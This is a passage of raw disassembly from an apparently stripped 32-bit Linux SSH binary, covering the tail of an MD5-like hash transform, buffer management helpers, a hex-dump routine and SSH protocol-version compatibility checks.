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080556ec   03 45 dc                 add    0xffffffdc(%ebp),%eax
080556ef   8d 94 10 c6 7e 9b 28     lea    0x289b7ec6(%eax,%edx,1),%edx   ;681279174 'xc6 x7e x9b x28' ""
080556f6   c1 c2 04                 rol    $0x4,%edx
080556f9   01 ca                    add    %ecx,%edx
080556fb   89 d0                    mov    %edx,%eax
080556fd   31 c8                    xor    %ecx,%eax
080556ff   31 d8                    xor    %ebx,%eax
08055701   03 45 a8                 add    0xffffffa8(%ebp),%eax
08055704   8d b4 30 fa 27 a1 ea     lea    0xeaa127fa(%eax,%esi,1),%esi   ;-358537222 'xfa x27 xa1 xea' ""
0805570b   c1 c6 0b                 rol    $0xb,%esi
0805570e   01 d6                    add    %edx,%esi
08055710   89 f0                    mov    %esi,%eax
08055712   31 d0                    xor    %edx,%eax
08055714   31 c8                    xor    %ecx,%eax
08055716   03 45 b4                 add    0xffffffb4(%ebp),%eax
08055719   8d 9c 18 85 30 ef d4     lea    0xd4ef3085(%eax,%ebx,1),%ebx   ;-722521979 'x85 x30 xef xd4' ""
08055720   c1 c3 10                 rol    $0x10,%ebx
08055723   01 f3                    add    %esi,%ebx
08055725   89 d8                    mov    %ebx,%eax
08055727   31 f0                    xor    %esi,%eax
08055729   31 d0                    xor    %edx,%eax
0805572b   03 45 c0                 add    0xffffffc0(%ebp),%eax
0805572e   8d 8c 08 05 1d 88 04     lea    0x4881d05(%eax,%ecx,1),%ecx    ;76029189 'x5 x1d x88 x4' ""
08055735   c1 c1 17                 rol    $0x17,%ecx
08055738   01 d9                    add    %ebx,%ecx
0805573a   89 c8                    mov    %ecx,%eax
0805573c   31 d8                    xor    %ebx,%eax
0805573e   31 f0                    xor    %esi,%eax
08055740   03 45 cc                 add    0xffffffcc(%ebp),%eax
08055743   8d 94 10 39 d0 d4 d9     lea    0xd9d4d039(%eax,%edx,1),%edx   ;-640364487 'x39 xd0 xd4 xd9' "9"
0805574a   c1 c2 04                 rol    $0x4,%edx
0805574d   01 ca                    add    %ecx,%edx
0805574f   89 d0                    mov    %edx,%eax
08055751   31 c8                    xor    %ecx,%eax
08055753   31 d8                    xor    %ebx,%eax
08055755   03 45 d8                 add    0xffffffd8(%ebp),%eax
08055758   8d b4 30 e5 99 db e6     lea    0xe6db99e5(%eax,%esi,1),%esi   ;-421815835 'xe5 x99 xdb xe6' ""
0805575f   c1 c6 0b                 rol    $0xb,%esi
08055762   01 d6                    add    %edx,%esi
08055764   89 f0                    mov    %esi,%eax
08055766   31 d0                    xor    %edx,%eax
08055768   31 c8                    xor    %ecx,%eax
0805576a   03 45 e4                 add    0xffffffe4(%ebp),%eax
0805576d   8d 9c 18 f8 7c a2 1f     lea    0x1fa27cf8(%eax,%ebx,1),%ebx   ;530742520 'xf8 x7c xa2 x1f' ""
08055774   c1 c3 10                 rol    $0x10,%ebx
08055777   01 f3                    add    %esi,%ebx
08055779   89 d8                    mov    %ebx,%eax
0805577b   31 f0                    xor    %esi,%eax
0805577d   31 d0                    xor    %edx,%eax
0805577f   03 45 b0                 add    0xffffffb0(%ebp),%eax
08055782   8d 8c 08 65 56 ac c4     lea    0xc4ac5665(%eax,%ecx,1),%ecx   ;-995338651 'x65 x56 xac xc4' "eV"
08055789   c1 c1 17                 rol    $0x17,%ecx
0805578c   89 f0                    mov    %esi,%eax
0805578e   01 d9                    add    %ebx,%ecx
08055790   f7 d0                    not    %eax
08055792   09 c8                    or     %ecx,%eax
08055794   31 d8                    xor    %ebx,%eax
08055796   03 45 a8                 add    0xffffffa8(%ebp),%eax
08055799   8d 94 10 44 22 29 f4     lea    0xf4292244(%eax,%edx,1),%edx   ;-198630844 'x44 x22 x29 xf4' "D")"
080557a0   c1 c2 06                 rol    $0x6,%edx
080557a3   89 d8                    mov    %ebx,%eax
080557a5   01 ca                    add    %ecx,%edx
080557a7   f7 d0                    not    %eax
080557a9   09 d0                    or     %edx,%eax
080557ab   31 c8                    xor    %ecx,%eax
080557ad   03 45 c4                 add    0xffffffc4(%ebp),%eax
080557b0   8d b4 30 97 ff 2a 43     lea    0x432aff97(%eax,%esi,1),%esi   ;1126891415 'x97 xff x2a x43' ""
080557b7   c1 c6 0a                 rol    $0xa,%esi
080557ba   89 c8                    mov    %ecx,%eax
080557bc   01 d6                    add    %edx,%esi
080557be   f7 d0                    not    %eax
080557c0   09 f0                    or     %esi,%eax
080557c2   31 d0                    xor    %edx,%eax
080557c4   03 45 e0                 add    0xffffffe0(%ebp),%eax
080557c7   8d 9c 18 a7 23 94 ab     lea    0xab9423a7(%eax,%ebx,1),%ebx   ;-1416354905 'xa7 x23 x94 xab' ""
080557ce   c1 c3 0f                 rol    $0xf,%ebx
080557d1   89 d0                    mov    %edx,%eax
080557d3   01 f3                    add    %esi,%ebx
080557d5   f7 d0                    not    %eax
080557d7   09 d8                    or     %ebx,%eax
080557d9   31 f0                    xor    %esi,%eax
080557db   03 45 bc                 add    0xffffffbc(%ebp),%eax
080557de   8d 8c 08 39 a0 93 fc     lea    0xfc93a039(%eax,%ecx,1),%ecx   ;-57434055 'x39 xa0 x93 xfc' "9"
080557e5   c1 c1 15                 rol    $0x15,%ecx
```

```
080557e8  89 f0                    mov    %esi,%eax
080557ea  01 d9                    add    %ebx,%ecx
080557ec  f7 d0                    not    %eax
080557ee  09 c8                    or     %ecx,%eax
080557f0  31 d8                    xor    %ebx,%eax
080557f2  03 45 d8                 add    0xffffffd8(%ebp),%eax
080557f5  8d 94 10 c3 59 5b 65     lea    0x655b59c3(%eax,%edx,1),%edx   ;1700485571 'xc3 x59 x5b x65' ""
080557fc  c1 c2 06                 rol    $0x6,%edx
080557ff  89 d8                    mov    %ebx,%eax
08055801  01 ca                    add    %ecx,%edx
08055803  f7 d0                    not    %eax
08055805  09 d0                    or     %edx,%eax
08055807  31 c8                    xor    %ecx,%eax
08055809  03 45 b4                 add    0xffffffb4(%ebp),%eax
0805580c  8d b4 30 92 cc 0c 8f     lea    0x8f0ccc92(%eax,%esi,1),%esi   ;-1894986606 'x92 xcc xc x8f' ""
08055813  c1 c6 0a                 rol    $0xa,%esi
08055816  89 c8                    mov    %ecx,%eax
08055818  01 d6                    add    %edx,%esi
0805581a  f7 d0                    not    %eax
0805581c  09 f0                    or     %esi,%eax
0805581e  31 d0                    xor    %edx,%eax
08055820  03 45 d0                 add    0xffffffd0(%ebp),%eax
08055823  8d 9c 18 7d f4 ef ff     lea    0xffeff47d(%eax,%ebx,1),%ebx   ;-1051523 'x7d xf4 xef xff' "}"
0805582a  c1 c3 0f                 rol    $0xf,%ebx
0805582d  89 d0                    mov    %edx,%eax
0805582f  01 f3                    add    %esi,%ebx
08055831  f7 d0                    not    %eax
08055833  09 d8                    or     %ebx,%eax
08055835  31 f0                    xor    %esi,%eax
08055837  03 45 ac                 add    0xffffffac(%ebp),%eax
0805583a  8d 8c 08 d1 5d 84 85     lea    0x85845dd1(%eax,%ecx,1),%ecx   ;-2054922799 'xd1 x5d x84 x85' ""
08055841  c1 c1 15                 rol    $0x15,%ecx
08055844  89 f0                    mov    %esi,%eax
08055846  01 d9                    add    %ebx,%ecx
08055848  f7 d0                    not    %eax
0805584a  09 c8                    or     %ecx,%eax
0805584c  31 d8                    xor    %ebx,%eax
0805584e  03 45 c8                 add    0xffffffc8(%ebp),%eax
08055851  8d 94 10 4f 7e a8 6f     lea    0x6fa87e4f(%eax,%edx,1),%edx   ;1873313359 'x4f x7e xa8 x6f' "O~"
08055858  c1 c2 06                 rol    $0x6,%edx
0805585b  89 d8                    mov    %ebx,%eax
0805585d  01 ca                    add    %ecx,%edx
0805585f  f7 d0                    not    %eax
08055861  09 d0                    or     %edx,%eax
08055863  31 c8                    xor    %ecx,%eax
08055865  03 45 e4                 add    0xffffffe4(%ebp),%eax
08055868  8d b4 30 e0 e6 2c fe     lea    0xfe2ce6e0(%eax,%esi,1),%esi   ;-30611744 'xe0 xe6 x2c xfe' ""
0805586f  c1 c6 0a                 rol    $0xa,%esi
08055872  89 c8                    mov    %ecx,%eax
08055874  01 d6                    add    %edx,%esi
08055876  f7 d0                    not    %eax
08055878  09 f0                    or     %esi,%eax
0805587a  31 d0                    xor    %edx,%eax
0805587c  03 45 c0                 add    0xffffffc0(%ebp),%eax
0805587f  8d 9c 18 14 43 01 a3     lea    0xa3014314(%eax,%ebx,1),%ebx   ;-1560198380 'x14 x43 x1 xa3' ""
08055886  c1 c3 0f                 rol    $0xf,%ebx
08055889  89 d0                    mov    %edx,%eax
0805588b  01 f3                    add    %esi,%ebx
0805588d  f7 d0                    not    %eax
0805588f  09 d8                    or     %ebx,%eax
08055891  31 f0                    xor    %esi,%eax
08055893  03 45 dc                 add    0xffffffdc(%ebp),%eax
08055896  8d 8c 08 a1 11 08 4e     lea    0x4e0811a1(%eax,%ecx,1),%ecx   ;1309151649 'xa1 x11 x8 x4e' ""
0805589d  c1 c1 15                 rol    $0x15,%ecx
080558a0  89 f0                    mov    %esi,%eax
080558a2  01 d9                    add    %ebx,%ecx
080558a4  f7 d0                    not    %eax
080558a6  09 c8                    or     %ecx,%eax
080558a8  31 d8                    xor    %ebx,%eax
080558aa  03 45 b8                 add    0xffffffb8(%ebp),%eax
080558ad  8d 94 10 82 7e 53 f7     lea    0xf7537e82(%eax,%edx,1),%edx   ;-145523070 'x82 x7e x53 xf7' ""
080558b4  c1 c2 06                 rol    $0x6,%edx
080558b7  89 d8                    mov    %ebx,%eax
080558b9  01 ca                    add    %ecx,%edx
080558bb  f7 d0                    not    %eax
080558bd  09 d0                    or     %edx,%eax
080558bf  31 c8                    xor    %ecx,%eax
080558c1  03 45 d4                 add    0xffffffd4(%ebp),%eax
080558c4  8d b4 30 35 f2 3a bd     lea    0xbd3af235(%eax,%esi,1),%esi   ;-1120210379 'x35 xf2 x3a xbd' "5"
080558cb  c1 c6 0a                 rol    $0xa,%esi
080558ce  89 c8                    mov    %ecx,%eax
080558d0  01 d6                    add    %edx,%esi
080558d2  f7 d0                    not    %eax
080558d4  09 f0                    or     %esi,%eax
```

```
080558d6   31 d0                 xor      %edx,%eax
080558d8   03 45 b0              add      0xffffffb0(%ebp),%eax
080558db   8d 9c 18 bb d2 d7 2a  lea      0x2ad7d2bb(%eax,%ebx,1),%ebx  ;718787259 'xbb xd2 xd7 x2a' ""
080558e2   c1 c3 0f              rol      $0xf,%ebx
080558e5   89 d0                 mov      %edx,%eax
080558e7   01 f3                 add      %esi,%ebx
080558e9   f7 d0                 not      %eax
080558eb   09 d8                 or       %ebx,%eax
080558ed   31 f0                 xor      %esi,%eax
080558ef   03 45 cc              add      0xffffffcc(%ebp),%eax
080558f2   8d 8c 08 91 d3 86 eb  lea      0xeb86d391(%eax,%ecx,1),%ecx  ;-343485551 'x91 xd3 x86 xeb' ""
080558f9   c1 c1 15              rol      $0x15,%ecx
080558fc   01 d9                 add      %ebx,%ecx
080558fe   01 17                 add      %edx,(%edi)
08055900   83 c4 5c              add      $0x5c,%esp
08055903   01 4f 04              add      %ecx,0x4(%edi)
08055906   01 5f 08              add      %ebx,0x8(%edi)
08055909   01 77 0c              add      %esi,0xc(%edi)
0805590c   5b                    pop      %ebx
0805590d   5e                    pop      %esi
0805590e   5f                    pop      %edi
0805590f   5d                    pop      %ebp
08055910   c3                    ret
08055911   8d 76 00              lea      0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 114 >--------------------<
  ;
08055914 <Unknown0114>:
08055914   55                    push     %ebp
08055915   89 e5                 mov      %esp,%ebp
08055917   53                    push     %ebx
08055918   83 ec 10              sub      $0x10,%esp
0805591b   8b 5d 08              mov      0x8(%ebp),%ebx
0805591e   c7 43 04 00 10 00 00  movl     $0x1000,0x4(%ebx)  ;4096 'x0 x10 x0 x0' ""
08055925   68 00 10 00 00        push     $0x1000  ;4096 'x0 x10 x0 x0' ""
0805592a   e8 61 15 00 00        call     08056e90 <Unknown0170>
0805592f   89 03                 mov      %eax,(%ebx)
08055931   c7 43 08 00 00 00 00  movl     $0x0,0x8(%ebx)  ;0 'x0 x0 x0 x0' ""
08055938   c7 43 0c 00 00 00 00  movl     $0x0,0xc(%ebx)  ;0 'x0 x0 x0 x0' ""
0805593f   8b 5d fc              mov      0xfffffffc(%ebp),%ebx
08055942   c9                    leave
08055943   c3                    ret


  ;
  ; >--------------------<  Subroutine # 115 >--------------------<
  ;
08055944 <Unknown0115>:
08055944   55                    push     %ebp
08055945   89 e5                 mov      %esp,%ebp
08055947   53                    push     %ebx
08055948   83 ec 08              sub      $0x8,%esp
0805594b   8b 5d 08              mov      0x8(%ebp),%ebx
0805594e   ff 73 04              pushl    0x4(%ebx)
08055951   6a 00                 push     $0x0
08055953   ff 33                 pushl    (%ebx)
08055955   e8 52 4a ff ff        call     0804a3ac <memset>
0805595a   8b 03                 mov      (%ebx),%eax
0805595c   83 c4 10              add      $0x10,%esp
0805595f   89 45 08              mov      %eax,0x8(%ebp)
08055962   8b 5d fc              mov      0xfffffffc(%ebp),%ebx
08055965   c9                    leave
08055966   e9 a5 15 00 00        jmp      08056f10 <Unknown0172>  ;5541 'xa5 x15 x0 x0' ""
0805596b   90                    nop


  ;
  ; >--------------------<  Subroutine # 116 >--------------------<
  ;
0805596c <Unknown0116>:
0805596c   55                    push     %ebp
0805596d   89 e5                 mov      %esp,%ebp
0805596f   8b 45 08              mov      0x8(%ebp),%eax
08055972   c7 40 08 00 00 00 00  movl     $0x0,0x8(%eax)  ;0 'x0 x0 x0 x0' ""
08055979   c7 40 0c 00 00 00 00  movl     $0x0,0xc(%eax)  ;0 'x0 x0 x0 x0' ""
08055980   5d                    pop      %ebp
08055981   c3                    ret
08055982   89 f6                 mov      %esi,%esi


  ;
  ; >--------------------<  Subroutine # 117 >--------------------<
```

```
                     ;
08055984 <Unknown0117>:
08055984  55                          push    %ebp
08055985  89 e5                       mov     %esp,%ebp
08055987  56                          push    %esi
08055988  53                          push    %ebx
08055989  83 ec 14                    sub     $0x14,%esp
0805598c  8b 5d 10                    mov     0x10(%ebp),%ebx
0805598f  53                          push    %ebx
08055990  8d 45 f4                    lea     0xfffffff4(%ebp),%eax
08055993  50                          push    %eax
08055994  8b 75 0c                    mov     0xc(%ebp),%esi
08055997  ff 75 08                    pushl   0x8(%ebp)
0805599a  e8 15 00 00 00              call    080559b4 <Unknown0118>
0805599f  83 c4 0c                    add     $0xc,%esp
080559a2  53                          push    %ebx
080559a3  56                          push    %esi
080559a4  ff 75 f4                    pushl   0xfffffff4(%ebp)
080559a7  e8 90 48 ff ff              call    0804a23c <memcpy>
080559ac  8d 65 f8                    lea     0xfffffff8(%ebp),%esp
080559af  5b                          pop     %ebx
080559b0  5e                          pop     %esi
080559b1  5d                          pop     %ebp
080559b2  c3                          ret
080559b3  90                          nop


   ;
   ; >---------------------<  Subroutine # 118 >---------------------<
   ;
080559b4 <Unknown0118>:
080559b4  55                          push    %ebp
080559b5  89 e5                       mov     %esp,%ebp
080559b7  57                          push    %edi
080559b8  56                          push    %esi
080559b9  53                          push    %ebx
080559ba  83 ec 0c                    sub     $0xc,%esp
080559bd  8b 75 08                    mov     0x8(%ebp),%esi
080559c0  8b 5e 0c                    mov     0xc(%esi),%ebx
080559c3  39 5e 08                    cmp     %ebx,0x8(%esi)
080559c6  8b 7d 10                    mov     0x10(%ebp),%edi
080559c9  75 10                       jne     080559db <Unknown0118+0x27>
080559cb  c7 46 08 00 00 00 00        movl    $0x0,0x8(%esi)   ;0 'x0 x0 x0 x0' ""
080559d2  c7 46 0c 00 00 00 00        movl    $0x0,0xc(%esi)   ;0 'x0 x0 x0 x0' ""
080559d9  31 db                       xor     %ebx,%ebx
080559db  8d 14 1f                    lea     (%edi,%ebx,1),%edx
080559de  8b 4e 04                    mov     0x4(%esi),%ecx
080559e1  39 ca                       cmp     %ecx,%edx
080559e3  73 13                       jae     080559f8 <Unknown0118+0x44>
080559e5  03 1e                       add     (%esi),%ebx
080559e7  8b 45 0c                    mov     0xc(%ebp),%eax
080559ea  89 18                       mov     %ebx,(%eax)
080559ec  89 56 0c                    mov     %edx,0xc(%esi)
080559ef  8d 65 f4                    lea     0xfffffff4(%ebp),%esp
080559f2  5b                          pop     %ebx
080559f3  5e                          pop     %esi
080559f4  5f                          pop     %edi
080559f5  5d                          pop     %ebp
080559f6  c3                          ret
080559f7  90                          nop
080559f8  89 c8                       mov     %ecx,%eax
080559fa  d1 e8                       shr     %eax
080559fc  8b 56 08                    mov     0x8(%esi),%edx
080559ff  39 c2                       cmp     %eax,%edx
08055a01  76 25                       jbe     08055a28 <Unknown0118+0x74>
08055a03  50                          push    %eax
08055a04  29 d3                       sub     %edx,%ebx
08055a06  53                          push    %ebx
08055a07  03 16                       add     (%esi),%edx
08055a09  52                          push    %edx
08055a0a  ff 36                       pushl   (%esi)
08055a0c  e8 5b 45 ff ff              call    08049f6c <memmove>
08055a11  8b 46 0c                    mov     0xc(%esi),%eax
08055a14  2b 46 08                    sub     0x8(%esi),%eax
08055a17  89 46 0c                    mov     %eax,0xc(%esi)
08055a1a  c7 46 08 00 00 00 00        movl    $0x0,0x8(%esi)   ;0 'x0 x0 x0 x0' ""
08055a21  83 c4 10                    add     $0x10,%esp
08055a24  89 c3                       mov     %eax,%ebx
08055a26  eb b3                       jmp     080559db <Unknown0118+0x27>
08055a28  83 ec 08                    sub     $0x8,%esp
08055a2b  8d 84 0f 00 10 00 00        lea     0x1000(%edi,%ecx,1),%eax   ;4096 'x0 x10 x0 x0' ""
08055a32  89 46 04                    mov     %eax,0x4(%esi)
08055a35  50                          push    %eax
08055a36  ff 36                       pushl   (%esi)
```

```
08055a38   e8 87 14 00 00      call    08056ec4 <Unknown0171>
08055a3d   89 06               mov     %eax,(%esi)
08055a3f   83 c4 10            add     $0x10,%esp
08055a42   8b 5e 0c            mov     0xc(%esi),%ebx
08055a45   eb 94               jmp     080559db <Unknown0118+0x27>
08055a47   90                  nop


  ;
  ; >--------------------< Subroutine # 119 >--------------------<
  ;
08055a48 <Unknown0119>:
08055a48   55                  push    %ebp
08055a49   89 e5               mov     %esp,%ebp
08055a4b   8b 55 08            mov     0x8(%ebp),%edx
08055a4e   8b 42 0c            mov     0xc(%edx),%eax
08055a51   2b 42 08            sub     0x8(%edx),%eax
08055a54   5d                  pop     %ebp
08055a55   c3                  ret
08055a56   89 f6               mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 120 >--------------------<
  ;
08055a58 <Unknown0120>:
08055a58   55                  push    %ebp
08055a59   89 e5               mov     %esp,%ebp
08055a5b   56                  push    %esi
08055a5c   53                  push    %ebx
08055a5d   8b 5d 08            mov     0x8(%ebp),%ebx
08055a60   8b 43 0c            mov     0xc(%ebx),%eax
08055a63   8b 53 08            mov     0x8(%ebx),%edx
08055a66   8b 75 10            mov     0x10(%ebp),%esi
08055a69   29 d0               sub     %edx,%eax
08055a6b   39 c6               cmp     %eax,%esi
08055a6d   76 13               jbe     08055a82 <Unknown0120+0x2a>
08055a6f   83 ec 0c            sub     $0xc,%esp
08055a72   68 20 0f 07 08      push    $0x8070f20  ;[in .rodata] 1717990754 'x62 x75 x66 x66' "buffer_get
                                                       trying to get more bytes than in buffer"
08055a77   e8 e0 a4 ff ff      call    0804ff5c <Unknown0044>
08055a7c   83 c4 10            add     $0x10,%esp
08055a7f   8b 53 08            mov     0x8(%ebx),%edx
08055a82   03 13               add     (%ebx),%edx
08055a84   51                  push    %ecx
08055a85   56                  push    %esi
08055a86   52                  push    %edx
08055a87   ff 75 0c            pushl   0xc(%ebp)
08055a8a   e8 ad 47 ff ff      call    0804a23c <memcpy>
08055a8f   01 73 08            add     %esi,0x8(%ebx)
08055a92   8d 65 f8            lea     0xfffffff8(%ebp),%esp
08055a95   5b                  pop     %ebx
08055a96   5e                  pop     %esi
08055a97   5d                  pop     %ebp
08055a98   c3                  ret
08055a99   8d 76 00            lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 121 >--------------------<
  ;
08055a9c <Unknown0121>:
08055a9c   55                  push    %ebp
08055a9d   89 e5               mov     %esp,%ebp
08055a9f   56                  push    %esi
08055aa0   53                  push    %ebx
08055aa1   8b 5d 08            mov     0x8(%ebp),%ebx
08055aa4   8b 43 0c            mov     0xc(%ebx),%eax
08055aa7   8b 53 08            mov     0x8(%ebx),%edx
08055aaa   8b 75 0c            mov     0xc(%ebp),%esi
08055aad   29 d0               sub     %edx,%eax
08055aaf   39 c6               cmp     %eax,%esi
08055ab1   76 13               jbe     08055ac6 <Unknown0121+0x2a>
08055ab3   83 ec 0c            sub     $0xc,%esp
08055ab6   68 20 0f 07 08      push    $0x8070f20  ;[in .rodata] 1717990754 'x62 x75 x66 x66' "buffer_get
                                                       trying to get more bytes than in buffer"
08055abb   e8 9c a4 ff ff      call    0804ff5c <Unknown0044>
08055ac0   83 c4 10            add     $0x10,%esp
08055ac3   8b 53 08            mov     0x8(%ebx),%edx
08055ac6   8d 04 16            lea     (%esi,%edx,1),%eax
08055ac9   89 43 08            mov     %eax,0x8(%ebx)
08055acc   8d 65 f8            lea     0xfffffff8(%ebp),%esp
08055acf   5b                  pop     %ebx
08055ad0   5e                  pop     %esi
```

```
08055ad1  5d                       pop     %ebp
08055ad2  c3                       ret
08055ad3  90                       nop


  ;
  ; >--------------------<  Subroutine # 122 >--------------------<
  ;
08055ad4 <Unknown0122>:
08055ad4  55                       push    %ebp
08055ad5  89 e5                    mov     %esp,%ebp
08055ad7  56                       push    %esi
08055ad8  53                       push    %ebx
08055ad9  8b 5d 08                 mov     0x8(%ebp),%ebx
08055adc  8b 53 0c                 mov     0xc(%ebx),%edx
08055adf  89 d0                    mov     %edx,%eax
08055ae1  8b 75 0c                 mov     0xc(%ebp),%esi
08055ae4  2b 43 08                 sub     0x8(%ebx),%eax
08055ae7  39 c6                    cmp     %eax,%esi
08055ae9  76 13                    jbe     08055afe <Unknown0122+0x2a>
08055aeb  83 ec 0c                 sub     $0xc,%esp
08055aee  68 20 0f 07 08           push    $0x8070f20   ;[in .rodata] 1717990754 'x62 x75 x66 x66' "buffer_get
                                                           trying to get more bytes than in buffer"
08055af3  e8 64 a4 ff ff           call    0804ff5c <Unknown0044>
08055af8  83 c4 10                 add     $0x10,%esp
08055afb  8b 53 0c                 mov     0xc(%ebx),%edx
08055afe  29 f2                    sub     %esi,%edx
08055b00  89 53 0c                 mov     %edx,0xc(%ebx)
08055b03  8d 65 f8                 lea     0xfffffff8(%ebp),%esp
08055b06  5b                       pop     %ebx
08055b07  5e                       pop     %esi
08055b08  5d                       pop     %ebp
08055b09  c3                       ret
08055b0a  89 f6                    mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine # 123 >--------------------<
  ;
08055b0c <Unknown0123>:
08055b0c  55                       push    %ebp
08055b0d  89 e5                    mov     %esp,%ebp
08055b0f  8b 55 08                 mov     0x8(%ebp),%edx
08055b12  8b 42 08                 mov     0x8(%edx),%eax
08055b15  03 02                    add     (%edx),%eax
08055b17  5d                       pop     %ebp
08055b18  c3                       ret
08055b19  8d 76 00                 lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 124 >--------------------<
  ;
08055b1c <Unknown0124>:
08055b1c  55                       push    %ebp
08055b1d  89 e5                    mov     %esp,%ebp
08055b1f  57                       push    %edi
08055b20  56                       push    %esi
08055b21  53                       push    %ebx
08055b22  83 ec 0c                 sub     $0xc,%esp
08055b25  8b 75 08                 mov     0x8(%ebp),%esi
08055b28  8b 5e 08                 mov     0x8(%esi),%ebx
08055b2b  3b 5e 0c                 cmp     0xc(%esi),%ebx
08055b2e  8b 3e                    mov     (%esi),%edi
08055b30  73 21                    jae     08055b53 <Unknown0124+0x37>
08055b32  89 f6                    mov     %esi,%esi
08055b34  50                       push    %eax
08055b35  0f b6 04 3b              movzbl  (%ebx,%edi,1),%eax
08055b39  50                       push    %eax
08055b3a  68 53 0f 07 08           push    $0x8070f53   ;[in .rodata] 842016032 'x20 x25 x30 x32' " %02x"
08055b3f  ff 35 0c 9c 07 08        pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                           (Red Hat Linux 7.1 2.96-79)"
08055b45  43                       inc     %ebx
08055b46  e8 b1 41 ff ff           call    08049cfc <fprintf>
08055b4b  83 c4 10                 add     $0x10,%esp
08055b4e  3b 5e 0c                 cmp     0xc(%esi),%ebx
08055b51  72 e1                    jb      08055b34 <Unknown0124+0x18>
08055b53  83 ec 08                 sub     $0x8,%esp
08055b56  68 59 0f 07 08           push    $0x8070f59   ;[in .rodata] 10 'xa x0 x0 x0' ""
08055b5b  ff 35 0c 9c 07 08        pushl   0x8079c0c    ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                           (Red Hat Linux 7.1 2.96-79)"
08055b61  e8 96 41 ff ff           call    08049cfc <fprintf>
08055b66  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
08055b69  5b                       pop     %ebx
```

```
08055b6a  5e                         pop     %esi
08055b6b  5f                         pop     %edi
08055b6c  5d                         pop     %ebp
08055b6d  c3                         ret
08055b6e  89 f6                      mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine # 125 >--------------------<
  ;
08055b70 <Unknown0125>:
08055b70  55                         push    %ebp
08055b71  89 e5                      mov     %esp,%ebp
08055b73  8b 55 10                   mov     0x10(%ebp),%edx
08055b76  56                         push    %esi
08055b77  85 d2                      test    %edx,%edx
08055b79  53                         push    %ebx
08055b7a  8b 75 0c                   mov     0xc(%ebp),%esi
08055b7d  8b 5d 08                   mov     0x8(%ebp),%ebx
08055b80  8b 45 14                   mov     0x14(%ebp),%eax
08055b83  74 06                      je      08055b8b <Unknown0125+0x1b>
08055b85  c7 02 01 00 00 00          movl    $0x1,(%edx)   ;1 'x1 x0 x0 x0' ""
08055b8b  85 c0                      test    %eax,%eax
08055b8d  74 0f                      je      08055b9e <Unknown0125+0x2e>
08055b8f  83 fe 04                   cmp     $0x4,%esi
08055b92  7f 04                      jg      08055b98 <Unknown0125+0x28>
08055b94  89 30                      mov     %esi,(%eax)
08055b96  eb 06                      jmp     08055b9e <Unknown0125+0x2e>
08055b98  c7 00 05 00 00 00          movl    $0x5,(%eax)   ;5 'x5 x0 x0 x0' ""
08055b9e  85 db                      test    %ebx,%ebx
08055ba0  b8 01 00 00 00             mov     $0x1,%eax     ;1 'x1 x0 x0 x0' ""
08055ba5  7e 67                      jle     08055c0e <Unknown0125+0x9e>
08055ba7  83 fb 01                   cmp     $0x1,%ebx
08055baa  75 09                      jne     08055bb5 <Unknown0125+0x45>
08055bac  85 f6                      test    %esi,%esi
08055bae  b8 02 00 00 00             mov     $0x2,%eax     ;2 'x2 x0 x0 x0' ""
08055bb3  74 59                      je      08055c0e <Unknown0125+0x9e>
08055bb5  83 fb 01                   cmp     $0x1,%ebx
08055bb8  75 1c                      jne     08055bd6 <Unknown0125+0x66>
08055bba  83 fe 03                   cmp     $0x3,%esi
08055bbd  7f 17                      jg      08055bd6 <Unknown0125+0x66>
08055bbf  83 ec 0c                   sub     $0xc,%esp
08055bc2  68 60 0f 07 08             push    $0x8070f60    ;[in .rodata] 543452239 'x4f x6c x64 x20' "Old channel
                                                            code will be emulated."
08055bc7  e8 b4 a1 ff ff             call    0804fd80 <Unknown0039>
08055bcc  83 c4 10                   add     $0x10,%esp
08055bcf  83 0d 1c 7e 07 08 01       orl     $0x1,0x8077e1c ;[in .data] 0 'x0 x0 x0 x0' ""
08055bd6  83 fb 01                   cmp     $0x1,%ebx
08055bd9  75 1c                      jne     08055bf7 <Unknown0125+0x87>
08055bdb  83 fe 04                   cmp     $0x4,%esi
08055bde  7f 17                      jg      08055bf7 <Unknown0125+0x87>
08055be0  83 ec 0c                   sub     $0xc,%esp
08055be3  68 a0 0f 07 08             push    $0x8070fa0    ;[in .rodata] 1852139329 'x41 x67 x65 x6e' "Agent
                                                            forwarding disabled (remote protocol too old)"
08055be8  83 0d 1c 7e 07 08 02       orl     $0x2,0x8077e1c ;[in .data] 0 'x0 x0 x0 x0' ""
08055bef  e8 8c a1 ff ff             call    0804fd80 <Unknown0039>
08055bf4  83 c4 10                   add     $0x10,%esp
08055bf7  83 fb 01                   cmp     $0x1,%ebx
08055bfa  7f 08                      jg      08055c04 <Unknown0125+0x94>
08055bfc  4b                         dec     %ebx
08055bfd  75 0d                      jne     08055c0c <Unknown0125+0x9c>
08055bff  83 fe 05                   cmp     $0x5,%esi
08055c02  7e 08                      jle     08055c0c <Unknown0125+0x9c>
08055c04  b8 03 00 00 00             mov     $0x3,%eax     ;3 'x3 x0 x0 x0' ""
08055c09  eb 03                      jmp     08055c0e <Unknown0125+0x9e>
08055c0b  90                         nop
08055c0c  31 c0                      xor     %eax,%eax
08055c0e  8d 65 f8                   lea     0xfffffff8(%ebp),%esp
08055c11  5b                         pop     %ebx
08055c12  5e                         pop     %esi
08055c13  5d                         pop     %ebp
08055c14  c3                         ret
08055c15  8d 76 00                   lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 126 >--------------------<
  ;
08055c18 <Unknown0126>:
08055c18  55                         push    %ebp
08055c19  89 e5                      mov     %esp,%ebp
08055c1b  83 ec 14                   sub     $0x14,%esp
08055c1e  8b 45 08                   mov     0x8(%ebp),%eax
08055c21  8b 55 0c                   mov     0xc(%ebp),%edx
```

```
08055c24  8b 4d 10              mov     0x10(%ebp),%ecx
08055c27  a3 20 7e 07 08        mov     %eax,0x8077e20   ;[in .data] -1 'xff xff xff xff' ""
08055c2c  89 15 24 7e 07 08     mov     %edx,0x8077e24   ;[in .data] -1 'xff xff xff xff' ""
08055c32  89 0d a4 bd 07 08     mov     %ecx,0x807bda4   ;[in .bss] 0 'x0 x0 x0 x0' ""
